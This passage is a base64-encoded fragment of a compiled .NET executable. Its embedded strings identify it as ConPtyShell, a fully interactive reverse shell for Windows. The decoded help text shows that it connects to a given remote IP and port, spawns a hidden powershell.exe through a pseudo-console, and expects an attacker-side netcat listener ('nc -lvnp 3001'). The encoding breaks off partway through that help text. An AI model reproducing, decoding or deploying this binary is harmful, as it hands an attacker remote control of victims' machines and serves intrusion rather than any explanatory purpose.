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VEFSVFVQSU5GT19QUkVTRU5UAENSRUFURV9OT19XSU5ET1cAU1RBUlRGX1VTRVNUREhBTkRMRVMAQlVGRkVSX1NJWkVfUElQRQBJTkZJTklURQBTV19ISURFAEdFTkVSSUNfUkVBRABHRU5FUklDX1dSSVRFAEZJTEVfU0hBUkVfUkVBRABGSUxFX1NIQVJFX1dSSVRFAEZJTEVfQVRUUklCVVRFX05PUk1BTABPUEVOX0VYSVNUSU5HAFNURF9JTlBVVF9IQU5ETEUAU1REX09VVFBVVF9IQU5ETEUAU1REX0VSUk9SX0hBTkRMRQBJbml0aWFsaXplUHJvY1RocmVhZEF0dHJpYnV0ZUxpc3QAVXBkYXRlUHJvY1RocmVhZEF0dHJpYnV0ZQBDcmVhdGVQcm9jZXNzAENyZWF0ZVByb2Nlc3NXAFRlcm1pbmF0ZVByb2Nlc3MAV2FpdEZvclNpbmdsZU9iamVjdABTZXRTdGRIYW5kbGUAR2V0U3RkSGFuZGxlAENsb3NlSGFuZGxlAENyZWF0ZVBpcGUAQ3JlYXRlRmlsZQBSZWFkRmlsZQBXcml0ZUZpbGUAQ3JlYXRlUHNldWRvQ29uc29sZQBDbG9zZVBzZXVkb0NvbnNvbGUAU2V0Q29uc29sZU1vZGUAR2V0Q29uc29sZU1vZGUAQWxsb2NDb25zb2xlAEZyZWVDb25zb2xlAFNob3dXaW5kb3cAR2V0Q29uc29sZVdpbmRvdwBHZXRNb2R1bGVIYW5kbGUAR2V0UHJvY0FkZHJlc3MAU3lzdGVtLk5ldC5Tb2NrZXRzAFNvY2tldABDb25uZWN0U29ja2V0AFRyeVBhcnNlUm93c0NvbHNGcm9tU29ja2V0AENyZWF0ZVBpcGVzAEluaXRDb25zb2xlAFJlc3RvcmVTdGRIYW5kbGVzAEVuYWJsZVZpcnR1YWxUZXJtaW5hbFNlcXVlbmNlUHJvY2Vzc2luZwBDcmVhdGVQc2V1ZG9Db25zb2xlV2l0aFBpcGVzAENvbmZpZ3VyZVByb2Nlc3NUaHJlYWQAUnVuUHJvY2VzcwBDcmVhdGVDaGlsZFByb2Nlc3NXaXRoUHNldWRvQ29uc29sZQBUaHJlYWRSZWFkUGlwZVdyaXRlU29ja2V0AFN5c3RlbS5UaHJlYWRpbmcAVGhyZWFkAFN0YXJ0VGhyZWFkUmVhZFBpcGVXcml0ZVNvY2tldABUaHJlYWRSZWFkU29ja2V0V3JpdGVQaXBlAFN0YXJ0VGhyZWFkUmVhZFNvY2tldFdyaXRlUGlwZQBTcGF3bkNvblB0eVNoZWxsAFN0YXJ0dXBJbmZvAGxwQXR0cmlidXRlTGlzdABjYgBscFJlc2VydmVkAGxwRGVza3RvcABscFRpdGxlAGR3WABkd1kAZHdYU2l6ZQBkd1lTaXplAGR3WENvdW50Q2hhcnMAZHdZQ291bnRDaGFycwBkd0ZpbGxBdHRyaWJ1dGUAZHdGbGFncwB3U2hvd1dpbmRvdwBjYlJlc2VydmVkMgBscFJlc2VydmVkMgBoU3RkSW5wdXQAaFN0ZE91dHB1dABoU3RkRXJyb3IAaFByb2Nlc3MAaFRocmVhZABkd1Byb2Nlc3NJZABkd1RocmVhZElkAG5MZW5ndGgAbHBTZWN1cml0eURlc2NyaXB0b3IAYkluaGVyaXRIYW5kbGUAWABZAGhlbHAASGVscFJlcXVpcmVkAENoZWNrQXJncwBEaXNwbGF5SGVscABDaGVja1JlbW90ZUlwQXJnAENoZWNrSW50AFBhcnNlUm93cwBQYXJzZUNvbHMAUGFyc2VDb21tYW5kTGluZQBDb25QdHlTaGVsbE1haW4ATWFpbgAuY3RvcgBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQ29uUHR5U2hlbGxfbmV0MgBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMARGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyLmRsbABNYXJzaGFsQXNBdHRyaWJ1dGUAVW5tYW5hZ2VkVHlwZQBkd0F0dHJpYnV0ZUNvdW50AGxwU2l6ZQBhdHRyaWJ1dGUAbHBWYWx1ZQBjYlNpemUAbHBQcmV2aW91c1ZhbHVlAGxwUmV0dXJuU2l6ZQBscEFwcGxpY2F0aW9uTmFtZQBscENvbW1hbmRMaW5lAGxwUHJvY2Vzc0F0dHJpYnV0ZXMAbHBUaHJlYWRBdHRyaWJ1dGVzAGJJbmhlcml0SGFuZGxlcwBkd0NyZWF0aW9uRmxhZ3MAbHBFbnZpcm9ubWVudABscEN1cnJlbnREaXJlY3RvcnkAbHBTdGFydHVwSW5mbwBJbkF0dHJpYnV0ZQBscFByb2Nlc3NJbmZvcm1hdGlvbgBPdXRBdHRyaWJ1dGUAdUV4aXRDb2RlAGhIYW5kbGUAZHdNaWxsaXNlY29uZHMAblN0ZEhhbmRsZQBoT2JqZWN0AGhSZWFkUGlwZQBoV3JpdGVQaXBlAGxwUGlwZUF0dHJpYnV0ZXMAblNpemUAbHBGaWxlTmFtZQBkd0Rlc2lyZWRBY2Nlc3MAZHdTaGFyZU1vZGUAU2VjdXJpdHlBdHRyaWJ1dGVzAGR3Q3JlYXRpb25EaXNwb3NpdGlvbgBkd0ZsYWdzQW5kQXR0cmlidXRlcwBoVGVtcGxhdGVGaWxlAGhGaWxlAGxwQnVmZmVyAG5OdW1iZXJPZkJ5dGVzVG9SZWFkAGxwTnVtYmVyT2ZCeXRlc1JlYWQAbHBPdmVybGFwcGVkAG5OdW1iZXJPZkJ5dGVzVG9Xcml0ZQBscE51bWJlck9mQnl0ZXNXcml0dGVuAHNpemUAaElucHV0AGhPdXRwdXQAcGhQQwBoUEMAaENvbnNvbGVIYW5kbGUAbW9kZQBoYW5kbGUAdXNlcjMyLmRsbABoV25kAG5DbWRTaG93AGxwTW9kdWxlTmFtZQBrZXJuZWwzMgBoTW9kdWxlAHByb2NOYW1lAHJlbW90ZUlwAHJlbW90ZVBvcnQAU3lzdGVtLk5ldABJUEFkZHJlc3MAUGFyc2UASVBFbmRQb2ludABFbmRQb2ludABBZGRyZXNzRmFtaWx5AGdldF9BZGRyZXNzRmFtaWx5AFNvY2tldFR5cGUAUHJvdG9jb2xUeXBlAENvbm5lY3QAZ2V0X0Nvbm5lY3RlZABTeXN0ZW0uVGV4dABFbmNvZGluZwBnZXRfQVNDSUkAR2V0Qnl0ZXMAU2VuZABzaGVsbFNvY2tldAByb3dzAGNvbHMAU2xlZXAAZ2V0X0F2YWlsYWJsZQBCeXRlAFJlY2VpdmUAR2V0U3RyaW5nAENoYXIAU3RyaW5nAFNwbGl0AFRyaW0ASW50MzIAVHJ5UGFyc2UASW5wdXRQaXBlUmVhZABJbnB1dFBpcGVXcml0ZQBPdXRwdXRQaXBlUmVhZABPdXRwdXRQaXBlV3JpdGUATWFyc2hhbABTaXplT2YASW50UHRyAFplcm8ASW52YWxpZE9wZXJhdGlvbkV4Y2VwdGlvbgBvbGRTdGRJbgBvbGRTdGRPdXQAb2xkU3RkRXJyAGhhbmRsZVBzZXVkb0NvbnNvbGUAQ29uUHR5SW5wdXRQaXBlUmVhZABDb25QdHlPdXRwdXRQaXBlV3JpdGUAYXR0cmlidXRlcwBvcF9FcXVhbGl0eQBHZXRMYXN0V2luMzJFcnJvcgBDb25jYXQAQWxsb2NIR2xvYmFsAGdldF9TaXplAG9wX0V4cGxpY2l0AHNJbmZvRXgAY29tbWFuZExpbmUAdGhyZWFkUGFyYW1zAFNvY2tldEZsYWdzAFBhcmFtZXRlcml6ZWRUaHJlYWRTdGFydABTdGFydABoQ2hpbGRQcm9jZXNzAFRvU3RyaW5nAEZvcm1hdABDb25zb2xlAFdyaXRlTGluZQBvcF9JbmVxdWFsaXR5AEFib3J0AFNvY2tldFNodXRkb3duAFNodXRkb3duAENsb3NlAFN0cnVjdExheW91dEF0dHJpYnV0ZQBMYXlvdXRLaW5kAHBhcmFtAGFyZ3VtZW50cwBTeXN0ZW0uSU8AVGV4dFdyaXRlcgBnZXRfT3V0AFdyaXRlAEVudmlyb25tZW50AEV4aXQAaXBTdHJpbmcAYXJnAGFyZ3MALmNjdG9yAAAAAEENAAoAQwBvAG4AUAB0AHkAUwBoAGUAbABsACAALQAgAEAAcwBwAGwAaQBuAHQAZQByAF8AYwBvAGQAZQANAAoAAT1DAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAdABoAGUAIABJAG4AcAB1AHQAUABpAHAAZQAAP0MAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIAB0AGgAZQAgAE8AdQB0AHAAdQB0AFAAaQBwAGUAAA9DAE8ATgBPAFUAVAAkAAANQwBPAE4ASQBOACQAADVDAG8AdQBsAGQAIABuAG8AdAAgAGcAZQB0ACAAYwBvAG4AcwBvAGwAZQAgAG0AbwBkAGUAAFlDAG8AdQBsAGQAIABuAG8AdAAgAGUAbgBhAGIAbABlACAAdgBpAHIAdAB1AGEAbAAgAHQAZQByAG0AaQBuAGEAbAAgAHAAcgBvAGMAZQBzAHMAaQBuAGcAAICBQwBvAHUAbABkACAAbgBvAHQAIABjAGEAbABjAHUAbABhAHQAZQAgAHQAaABlACAAbgB1AG0AYgBlAHIAIABvAGYAIABiAHkAdABlAHMAIABmAG8AcgAgAHQAaABlACAAYQB0AHQAcgBpAGIAdQB0AGUAIABsAGkAcwB0AC4AIAAAQ0MAbwB1AGwAZAAgAG4AbwB0ACAAcwBlAHQAIAB1AHAAIABhAHQAdAByAGkAYgB1AHQAZQAgAGwAaQBzAHQALgAgAABdQwBvAHUAbABkACAAbgBvAHQAIABzAGUAdAAgAHAAcwBlAHUAZABvAGMAbwBuAHMAbwBsAGUAIAB0AGgAcgBlAGEAZAAgAGEAdAB0AHIAaQBiAHUAdABlAC4AIAAANUMAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIABwAHIAbwBjAGUAcwBzAC4AIAAAAQBVewAwAH0AQwBvAHUAbABkACAAbgBvAHQAIABjAG8AbgBuAGUAYwB0ACAAdABvACAAaQBwACAAewAxAH0AIABvAG4AIABwAG8AcgB0ACAAewAyAH0AADl7AHsAewBDAG8AbgBQAHQAeQBTAGgAZQBsAGwARQB4AGMAZQBwAHQAaQBvAG4AfQB9AH0ADQAKAAARawBlAHIAbgBlAGwAMwAyAAAnQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAAgK8NAAoAQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAgAGYAdQBuAGMAdABpAG8AbgAgAG4AbwB0ACAAZgBvAHUAbgBkACEAIABTAHAAYQB3AG4AaQBuAGcAIABhACAAbgBlAHQAYwBhAHQALQBsAGkAawBlACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAcwBoAGUAbABsAC4ALgAuAA0ACgABgJsNAAoAQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAgAGYAdQBuAGMAdABpAG8AbgAgAGYAbwB1AG4AZAAhACAAUwBwAGEAdwBuAGkAbgBnACAAYQAgAGYAdQBsAGwAeQAgAGkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAHMAaABlAGwAbAAuAC4ALgANAAoAAGV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAcABzAHUAZQBkAG8AIABjAG8AbgBzAG8AbABlAC4AIABFAHIAcgBvAHIAIABDAG8AZABlACAAewAxAH0AADlDAG8AbgBQAHQAeQBTAGgAZQBsAGwAIABrAGkAbgBkAGwAeQAgAGUAeABpAHQAZQBkAC4ADQAKAAAFLQBoAAENLQAtAGgAZQBsAHAAAQUvAD8AAIC5DQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAA6ACAATgBvAHQAIABlAG4AbwB1AGcAaAAgAGEAcgBnAHUAbQBlAG4AdABzAC4AIAAyACAAQQByAGcAdQBtAGUAbgB0AHMAIAByAGUAcQB1AGkAcgBlAGQALgAgAFUAcwBlACAALQAtAGgAZQBsAHAAIABmAG8AcgAgAGEAZABkAGkAdABpAG8AbgBhAGwAIABoAGUAbABwAC4ADQAKAAFXDQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAA6ACAASQBuAHYAYQBsAGkAZAAgAHIAZQBtAG8AdABlAEkAcAAgAHYAYQBsAHUAZQAgAHsAMAB9AA0ACgAAVQ0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAEkAbgB2AGEAbABpAGQAIABpAG4AdABlAGcAZQByACAAdgBhAGwAdQBlACAAewAwAH0ADQAKAAAdcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlAACNpQ0ACgANAAoAQwBvAG4AUAB0AHkAUwBoAGUAbABsACAALQAgAEYAdQBsAGwAeQAgAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAFIAZQB2AGUAcgBzAGUAIABTAGgAZQBsAGwAIABmAG8AcgAgAFcAaQBuAGQAbwB3AHMAIAANAAoAQQB1AHQAaABvAHIAOgAgAHMAcABsAGkAbgB0AGUAcgBfAGMAbwBkAGUADQAKAEwAaQBjAGUAbgBzAGUAOgAgAE0ASQBUAA0ACgBTAG8AdQByAGMAZQA6ACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBhAG4AdABvAG4AaQBvAEMAbwBjAG8ALwBDAG8AbgBQAHQAeQBTAGgAZQBsAGwADQAKACAAIAAgACAADQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAgAC0AIABGAHUAbABsAHkAIABpAG4AdABlAHIAYQBjAHQAaQB2AGUAIAByAGUAdgBlAHIAcwBlACAAcwBoAGUAbABsACAAZgBvAHIAIABXAGkAbgBkAG8AdwBzAA0ACgANAAoAUAByAG8AcABlAHIAbAB5ACAAcwBlAHQAIAB0AGgAZQAgAHIAbwB3AHMAIABhAG4AZAAgAGMAbwBsAHMAIAB2AGEAbAB1AGUAcwAuACAAWQBvAHUAIABjAGEAbgAgAHIAZQB0AHIAaQBlAHYAZQAgAGkAdAAgAGYAcgBvAG0ADQAKAHkAbwB1AHIAIAB0AGUAcgBtAGkAbgBhAGwAIAB3AGkAdABoACAAdABoAGUAIABjAG8AbQBtAGEAbgBkACAAIgBzAHQAdAB5ACAAcwBpAHoAZQAiAC4ADQAKAA0ACgBZAG8AdQAgAGMAYQBuACAAYQB2AG8AaQBkACAAdABvACAAcwBlAHQAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAdgBhAGwAdQBlAHMAIABpAGYAIAB5AG8AdQAgAHIAdQBuACAAeQBvAHUAcgAgAGwAaQBzAHQAZQBuAGUAcgANAAoAdwBpAHQAaAAgAHQAaABlACAAZgBvAGwAbABvAHcAaQBuAGcAIABjAG8AbQBtAGEAbgBkADoADQAKACAAIAAgACAAcwB0AHQAeQAgAHIAYQB3ACAALQBlAGMAaABvADsAIAAoAHMAdAB0AHkAIABzAGkAegBlADsAIABjAGEAdAApACAAfAAgAG4AYwAgAC0AbAB2AG4AcAAgADMAMAAwADEADQAKAA0ACgBJAGYAIAB5AG8AdQAgAHcAYQBuAHQAIAB0AG8AIABjAGgAYQBuAGcAZQAgAHQAaABlACAAYwBvAG4AcwBvAGwAZQAgAHMAaQB6AGUAIABkAGkAcgBlAGMAdABsAHkAIABmAHIAbwBtACAAcABvAHcAZQByAHMAaABlAGwAbAANAAoAeQBvAHUAIABjAGEAbgAgAHAAYQBzAHQAZQAgAHQAaABlACAAZgBvAGwAbABvAHcAaQBuAGcAIABjAG8AbQBtAGEAbgBkAHMAOgANAAoAIAAgACAAIAAkAHcAaQBkAHQAaAA9ADgAMAANAAoAIAAgACAAIAAkAGgAZQBpAGcAaAB0AD0AMgA0AA0ACgAgACAAIAAgACQASABvAHMAdAAuAFUASQAuAFIAYQB3AFUASQAuAEIAdQBmAGYAZQByAFMAaQB6AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4ASABvAHMAdAAuAFMAaQB6AGUAIAAoACQAdwBpAGQAdABoACwAIAAkAGgAZQBpAGcAaAB0ACkADQAKACAAIAAgACAAJABIAG8AcwB0AC4AVQBJAC4AUgBhAHcAVQBJAC4AVwBpAG4AZABvAHcAUwBpAHoAZQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4ASABvAHMAdAAuAFMAaQB6AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAkAHcAaQBkAHQAaAAsACAAJABoAGUAaQBnAGgAdAApAA0ACgANAAoAVQBzAGEAZwBlADoADQAKACAAIAAgACAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAC4AZQB4AGUAIAByAGUAbQBvAHQAZQBfAGkAcAAgAHIAZQBtAG8AdABlAF8AcABvAHIAdAAgAFsAcgBvAHcAcwBdACAAWwBjAG8AbABzAF0AIABbAGMAbwBtAG0AYQBuAGQAbABpAG4AZQBdAA0ACgANAAoAUABvAHMAaQB0AGkAbwBuAGEAbAAgAGEAcgBnAHUAbQBlAG4AdABzADoADQAKACAAIAAgACAAcgBlAG0AbwB0AGUAXwBpAHAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVABoAGUAIAByAGUAbQBvAHQAZQAgAGkAcAAgAHQAbwAgAGMAbwBuAG4AZQBjAHQADQAKACAAIAAgACAAcgBlAG0AbwB0AGUAXwBwAG8AcgB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVABoAGUAIAByAGUAbQBvAHQAZQAgAHAAbwByAHQAIAB0AG8AIABjAG8AbgBuAGUAYwB0AA0ACgAgACAAIAAgAFsAcgBvAHcAcwBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAbwB3AHMAIABzAGkAegBlACAAZgBvAHIAIAB0AGgAZQAgAGMAbwBuAHMAbwBsAGUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARABlAGYAYQB1AGwAdAA6ACAAIgAyADQAIgANAAoAIAAgACAAIABbA